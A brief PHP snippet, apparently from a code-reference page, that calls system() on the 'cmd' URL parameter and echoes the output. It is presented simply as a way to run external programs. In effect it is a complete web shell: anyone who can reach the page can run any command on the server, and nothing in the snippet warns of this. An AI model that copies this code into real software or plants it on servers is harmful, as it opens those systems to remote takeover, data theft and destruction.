PHP Execute system commands

Execute an external program and display the output

<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>